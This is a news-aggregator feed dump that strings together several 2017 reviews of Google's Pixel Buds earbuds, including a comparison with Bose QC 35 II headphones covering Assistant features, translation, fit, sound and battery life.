Companies like Sony and Amazon join Google in exploration of the unexplored terrain that is proactive auditory push notifications through an AI assistant. As I’ve said before, the experience may be amplified if people are given control over the kinds of notifications you receive in the premium and personal real estate that is the inside of your ears.

Among other unique features for these headphones, both these headphones can translate 40 languages on the spot when paired with a Pixel smartphone, a feature that made its debut last month at a Google event, drawing comparisons between Pixel Buds and the Babel Fish, a translating fish from Hitchhiker’s Guide to the Galaxy. 

Above: Google Pixel Buds use the cloud to carry out real-time translation

Image Credit: Khari Johnson / VentureBeat

You can also use the headphones to access Google Assistant voice apps. Like Alexa skills, these voice apps extend the range of things you can accomplish with the AI assistant, whether you want to get DIY instructions on how to survive an ostrich attack from WikiHow, hear daily Bible scripture, or order your favorite meal from Panera. Google’s third-party voice app ecosystem is perhaps second only to Amazon, but it has a lot of ground to make up on Alexa, as there are hundreds of Google Assistant voice apps today and tens of thousands of Alexa skills.

Sadly, antithetical to the get-stuff-done ethos of AI assistants, these headphones are unable to create calendar events. These headphones are also unable to carry out Google Express purchases native to the Google Assistant experience in its line of Home smart speakers to have things delivered from Wal-Mart, Target, Costco, and other top retailers.

To access the Google Assistant with Pixel Buds, you hail Google with a tap and hold of the right earbud, while QC 35 II gets Google Assistant with a tap and hold of a dedicated button on the left side of the headphones.

This is where Pixel Buds are at a bit of an advantage. Since the earbuds are small, fit inside your ears, and have no buttons, they’re far more inconspicuous than large, over-the-ear headphones, and when the goal of these headphones is to make your assistant available all the time, from the office to the car to the gym, the less-obtrusive Pixel Buds achieve this goal.

In my experience wearing both of these headphones for weeks, be prepared for people to speak with you while you’re wearing Pixel Buds, even if you’re listening to music or in the middle of asking Google Assistant a question. One light tap to the right earbud touch pad stops music without the need to remove your headphones. In or out of the ear, for whatever reason, more people attempt to speak to you when wearing Pixel Buds, presumably because Pixel Buds are small and don’t cover your ears. Plus, for better or worse, Pixel Buds allow in a fair deal of ambient sound, so even if you are listening to music, chances are you can still hear someone attempting to address you, and with that single tap, slipping in and out of a song is very quick and easy.

For what it’s worth, noise cancellation shut off and stop music buttons are also on the side of the QC-35 II, and using them makes it easier to interact with people, but the physical appearance of over-the-ear headphones can be a fairly serious deterrent for a person who approaches you to ask a question or have a conversation.

One downside to the Pixel Buds control option: That right earbud touch pad is mighty sensitive. At times, if it’s hanging out of your ear, in your hands or handled for any reason, including when you put the buds back in their case or in your ear, they accidentally turn on rather often.

Both Pixel Buds and QC 35 II can receive simpler auditory ping notifications and speak with Siri when used with an iOS device like an iPhone.

Hardware, sound, and design

While the QC II fit snuggly over your ears, Pixel Buds are inserted into your ear and kept in place with a loop of rope.

Fussing with these rope loops can take some getting used to, but once in place they’re pretty snug, the ability to ask questions, make calendar events, set reminders, and check on your next flight with the tap and hold of the right earbud is fun and can feel pretty liberating.

The hardware for the sound you hear from these two devices is where the QC 35 II starts to show off a bevy of features

Sound quality between Pixel Buds and QC 35 II is incomparable. Unlike the QC 35 II, Pixel Buds come with no noise-cancellation option, while QC 35 II delivers Bose quality sound that’s smooth, clear, crisp, and loud.

QC 35 II also has a clear advantage when it comes to battery life. Pixel Buds can carry five hours of audio, with an additional charges in the carrying case, for a total of 24 hours of battery life. Pixel Buds receive an hour of play for every 10 minutes they spend in their carrying case, a Google spokesperson told VentureBeat in an email. The QC 35 II gives you 20 hours on a single charge, which takes a little over two hours. The fast charge feature for QC 35 II obliterates Pixel Buds, producing 2.5 hours of play time from just 15 minutes of charging time.

Another clear upside: QC 35 II can still plug in with a wire again if need be for longer battery life. This may come in handy if you need to use headphones in a more consistent than a Bluetooth connection for, say, professional reasons. The Bose website says QC 35 II battery lasts 20 hours with wireless and 40 hours when using a wire.

Yet another QC 35 II bonus: Should you ever lose your exorbitantly pricey headphones or have them stolen, the Bose Connect app comes with a Find My Buds feature. How the hell Google allowed Pixel Buds, headphones that are priced the same as Apple’s AirPods, to launch without this feature is beyond me.

Conclusion

The QC 35 II delivers higher quality audio and a much longer range of battery life, but Pixel Buds deliver the kind of inconspicuous experience you want from headphones meant to speak regularly with Google Assistant.

If all you do is wear your headphones occasionally at home or in transit, or you have no desire to speak with other people. you may find that QC 35 II is the best fit.

Overall, Pixel Buds haven’t received glowing reviews, but if you’re on the move and want your headphones for an active lifestyle (or you absolutely cannot reconcile paying $ 329 for headphones), Pixel Buds may be more your speed. Whichever you like best, the experience of having an AI assistant available at all times in a hands-free capacity is sort of the main selling point behind the growing fleet of wireless headphones and AI assistants, and it’s going to be exciting to see how Google evolves this.

VentureBeat

]]> https://briefnews.eu/google-assistant-wireless-headphones-google-pixel-buds-vs-bose-quietcomfort-35-ii/feed/ 0 Google Pixel Buds review: You (and Google) can do better https://briefnews.eu/google-pixel-buds-review-you-and-google-can-do-better/ https://briefnews.eu/google-pixel-buds-review-you-and-google-can-do-better/#respond Sat, 25 Nov 2017 20:39:17 +0000 http://briefnews.eu/google-pixel-buds-review-you-and-google-can-do-better/

When Google revealed its new Pixels earlier this year, it made a tacit statement: the age of headphone jacks on smartphones is over. So, what’s a diehard Google phone fan to do? Buy Google’s new wireless earbuds — in theory, at least. Several leaks ensured we knew they were coming, but the Pixel Buds were still a surprise because they emphasized functionality over convenience. Obviously, you can listen to music with them, but you can also sift through notifications and translate languages on the fly. Still, despite lots of potential, Google’s Pixel Buds just don’t live up to the hype.

Getting started

Chris Velazco/Engadget

Assuming you’ve got an Android device running Nougat or newer, the setup process couldn’t be easier: Open the case next to a compatible phone, and you’ll get a pop-up that walks you through the process. Keep in mind, though, that this dead-simple pairing only works with the first phone you set it up with; otherwise, you have to press and hold a button inside the case to put the Pixel Buds into pairing mode. From there, you pop into the Bluetooth settings and pair them the old-fashioned way. This is also the setup process you’ll use if you want to use the Pixel Buds with an iPhone. It would’ve been nice if the Pixel Buds paired as seamlessly with the second or third device as they do with the first, but really, that’s the least of the problems here.

Design

Chris Velazco/Engadget

Each Pixel Bud has two distinct sections: the part that sticks in your ear and the tiny bulb that sits outside it. Because of the way these two parts are connected, the Pixel Buds ultimately rest right on the edges of your ears — it took me a few days before I could plop the Buds into the sweet spot without any extra fiddling. The bulbs are admittedly a little odd-looking, but they’re still more subtle than, say, Apple’s AirPods.

The Buds are connected by a nylon cord. I know, I’m not a fan either. While a fully wireless design might have looked better, the cord dangles around your neck unobtrusively and makes the buds harder to lose. (Unless you’re me — I once draped them around my neck and forgot they were there for an entire day.) Chances are you’ll barely notice the cord while you’re wearing these.

You’ll definitely notice it when it’s time to charge the Buds in their cloth-covered case. Google’s preferred method involves popping the Buds into their respective nooks, wrapping the length of the cord around an inner column and shoving the remainder into the space where the Buds sit. I joked on Twitter last week that I’d never remember how to do it, but it’s much easier than my glibness let on.

That doesn’t mean it’s not annoying. If the cord isn’t snugly wrapped, it could prevent the case from closing properly. That doesn’t keep the Buds from charging, but it does mean the case is prone to pop open accidentally — that already happened in my backpack once, and by the time I got where I was going, the Buds had worked their way free of the case entirely. You’re also meant to make tiny loops by pulling the nylon cord near the buds to make sure they anchor sturdily in your ears. I did, but they ultimately made no difference — the Pixel Buds stayed put in my ears during runs regardless of whether I made those loops. Your mileage will vary though: I’ve let a few other people try the Buds, and the loops didn’t prevent them from falling out of place.

In use

Chris Velazco/Engadget

Personally, I prefer in-ears that sit snugly in the ear canal. They just sound better. That said, I was pleasantly surprised with Google’s first-generation earbuds. You’ll notice more definition with wired in-ears, but the Pixel Buds produced loud, clear audio with more oomph than Apple’s AirPods. My test tracks ran the gamut from EDM to Jazz to lots of weird Japanese stuff, and just about all of it came through with a surprising sense of substance. If you like a lot of bass in your music, though, the Pixel Buds will probably leave you wanting. For people who really care about audio quality, there are much better ways to spend $ 160. Still, for a set of nearly wireless earbuds, the Buds sound pretty good.

Unfortunately, You’re going to hear a whole lot more than just your music. Since the Pixels Buds sit right on the edge of your ear, you’re going to notice a lot of ambient sound leaking in unless you have the volume cranked up. That’s not necessarily a bad thing. If you’re a city dweller who often has to navigate busy streets and intersections, the Pixel Buds still allow you to hear oncoming traffic. Of course, if you’re toiling away in a noisy office, the Pixel Buds do nothing to block out the sound of raucous conversations around you. If you’re like me and need to shut out the world to get work done, the Pixel Buds will disappoint.

When it’s time to actually interact with the Pixel Buds, you’ll need to reach for your right ear. A quick tap on the touch-sensitive right bud plays or pauses whatever you’re listening to, and swipes forward and back along the surface raise and lower the volume, respectively. Compared to the limited controls on Apple’s AirPods, the Pixel Buds’ are considerably more nuanced — the AirPods can play/pause and skip tracks with a double-tap, but not both. You have to jump into settings to change what that action does. The Pixel Buds let you do it all, and with surprising competence; since each gesture is so different, I never accidentally turned up the volume when I meant to listen to my notifications or pause a song.

Chris Velazco/Engadget

The problem is, the touch surface is easy to activate by accident, especially when the Buds are dangling around your neck. I burned through the Pixel Buds’ batteries twice because my neck had un-paused Spotify without me noticing, leaving my screwed for the commutes home. The fact that this happened twice is surprising if only because of the Buds’ battery life — in general, they last between four to five hours on a charge,

Of course, the Pixel Buds mainly exist as a vessel for Google’s Assistant. You access it by saying — what else? — “OK, Google” or by holding your finger against the right earbud, but the tell-tale Assistant bloop only happens when you do the former. It should really happen when you press the earbud, too, if only to make absolutely clear when the Assistant has actually started listening for a command.

Once you get the hang of things, the experience of talking to Google Assistant through the buds is mostly identical to using it on your phone or through a Google Home. That’s often a good thing, but I wish Google had done a little more to tune Assistant for wearable use. When I ask it to play a certain song, for instance, Assistant only does so after telling me the name, the artist and the service it’s playing on. Uh, maybe just play the damn track, Google.

Sometimes, Google Assistant appears to listen to what I’m saying and then fails to do anything about it. These weren’t arcane commands, either — I asked the Assistant to play a song or playlist I had requested multiple times before, and it just hung. This was such a pervasive issue that I sent my first review unit back to Google on the suspicion that it was defective. The replacements I received didn’t exhibit the same problem quite as often, but it still happened once or twice. My network connection was strong, and I make it a point to speak extra clearly to virtual assistants, so I can’t really explain what’s causing these failures.

Chris Velazco/Engadget

You can use the Pixel Buds as in-ear translators, too — a use case Google specifically highlighted at its most recent launch event, last month. The idea of having an in-ear translator (like an inorganic Babel fish) is a compelling one, but in practice we’re still a ways off from seamless, cross-language conversations. To get started, Google suggests you say things like “I need a [language] translator” to launch the Google Translate app in the correct mode. Fair enough, but on a few occasions, the buds just spit a snippet of a foreign language into my ears when given that command. Weird.

When Translate does launch normally, you lay a finger on the right bud and start talking. Your words then get rendered into one of forty target languages, and the native speaker listening holds down a button on the Pixel to start responding. The translation process itself typically happened in mere moments, but this really boils down to the strength of your network connection. When I tried using the feature where AT&T coverage was sort of lousy, it took a few extra seconds to get the spoken translation. Responses rendered in your language get routed right into your ears, but for such exchanges to work best, you’d have to hand over your phone so the other person can hold down the button and respond when appropriate. Depending on where you are, that might not be such a great idea.

And, of course, since Google Translate is doing the cross-cultural heavy lifting, expect a few misfires here and there. Engadget’s video producer Brian Oh is a native Korean speaker, and for every mostly accurate translation I ran by him, there was one that just made him roll his eyes. Ditto for the handful of Vietnamese friends I tested the feature with. As always, Google Translate is super literal about what you say so the idioms that pepper our daily conversations rarely make sense when rendered in another language. If you were planning to rely the Pixel Buds in some far-flung locale, it’s probably best to keep your utterances succinct.

Wrap-up

Chris Velazco/Engadget

I’m not entirely sure why Google released the Pixel Buds in their current form. At best, they’re decent. At worst, they feel unfinished. The concept certainly has promise, and I appreciate that Google wanted the Pixel Buds to be feature-rich compared to its most notable rival. Ultimately though, it feels like Google was more concerned with getting these things out the door (and maybe making a few bucks over the holidays) than giving them the polish necessary to be truly valuable. It’s possible that Google will iron out some of these issues over time with software updates, and if that’s the case, we’ll update this review. Until then, though, you can do better.

Engadget RSS Feed

]]> https://briefnews.eu/google-pixel-buds-review-you-and-google-can-do-better/feed/ 0 Pixel Buds review: OK Google, go back to the earbud drawing board https://briefnews.eu/pixel-buds-review-ok-google-go-back-to-the-earbud-drawing-board/ https://briefnews.eu/pixel-buds-review-ok-google-go-back-to-the-earbud-drawing-board/#respond Mon, 20 Nov 2017 11:41:58 +0000 http://briefnews.eu/pixel-buds-review-ok-google-go-back-to-the-earbud-drawing-board/

Enlarge (credit: Sam Machkovech)

Find me a critic who would recommend any company’s first-ever earbuds priced at $ 159, and I will find you that critic’s sordid history of wire-transfer scams on Craigslist. Headphones and earbuds have to cater to so many tricky, subjective variables: various ear fits, sound preferences, and desired features. Nobody gets that right the first time, and even for longtime companies, one fan’s treasure is another audiophile’s trash.

Google isn’t the company to buck this trend. Its Pixel Buds arrive as an admittedly ambitious entry to the sector, with promises of pristine sound quality and Google Assistant-fueled superpowers. And as Google’s first-ever entry to the earbud world, they’re not all that terrible. Some of their features range from compelling to downright cool.

But between this price point, inconsistent sound quality, underwhelming voice-assistant features, and glaring use issues, I have to wonder how long Google actually weighed and tested what it was about to launch, as opposed to rushing its own answer to Apple’s AirPods.

Read 41 remaining paragraphs | Comments

Ars Technica

]]> https://briefnews.eu/pixel-buds-review-ok-google-go-back-to-the-earbud-drawing-board/feed/ 0 Gadget Lab Podcast: Pixel Buds, AirPods, and the Future of Ear Computers https://briefnews.eu/gadget-lab-podcast-pixel-buds-airpods-and-the-future-of-ear-computers/ https://briefnews.eu/gadget-lab-podcast-pixel-buds-airpods-and-the-future-of-ear-computers/#respond Sat, 18 Nov 2017 01:31:26 +0000 http://briefnews.eu/gadget-lab-podcast-pixel-buds-airpods-and-the-future-of-ear-computers/ This week, the hosts marvel at the speed with which headphones are becoming stand-alone computers.


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